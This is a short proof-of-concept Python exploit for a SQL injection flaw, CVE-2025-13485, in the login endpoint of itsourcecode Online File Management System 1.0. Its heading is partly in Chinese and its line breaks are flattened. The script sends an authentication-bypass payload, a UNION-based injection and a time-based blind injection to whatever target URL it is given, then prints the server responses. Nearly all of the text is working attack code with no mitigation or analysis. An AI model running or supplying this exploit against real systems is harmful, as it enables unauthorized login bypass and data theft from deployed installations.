CVE-2025-13485 | itsourcecode Online File Management System 1.0 SQL注入漏洞

import requests import sys # CVE-2025-13485 PoC - itsourcecode Online File Management System 1.0 SQL Injection # Target: /ajax.php?action=login def exploit_sqli(target_url, payload): """ Exploit SQL injection vulnerability in login form """ endpoint = f"{target_url}/ajax.php?action=login" # SQL Injection payload in Username parameter data = { "Username": payload, "Password": "anypassword" } try: response = requests.post(endpoint, data=data, timeout=10) return response.text except requests.exceptions.RequestException as e: return f"Error: {str(e)}" # Test payloads test_payloads = [ "admin' OR '1'='1", # Basic authentication bypass "admin' UNION SELECT 1,2,3--", # UNION-based injection "admin' AND SLEEP(5)--", # Time-based blind injection ] if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-13485.py <target_url>") print("Example: python cve-2025-13485.py http://target.com") sys.exit(1) target = sys.argv[1] print(f"[*] Testing CVE-2025-13485 on {target}") for payload in test_payloads: print(f"\n[+] Testing payload: {payload}") result = exploit_sqli(target, payload) print(f"Response: {result[:200]}...")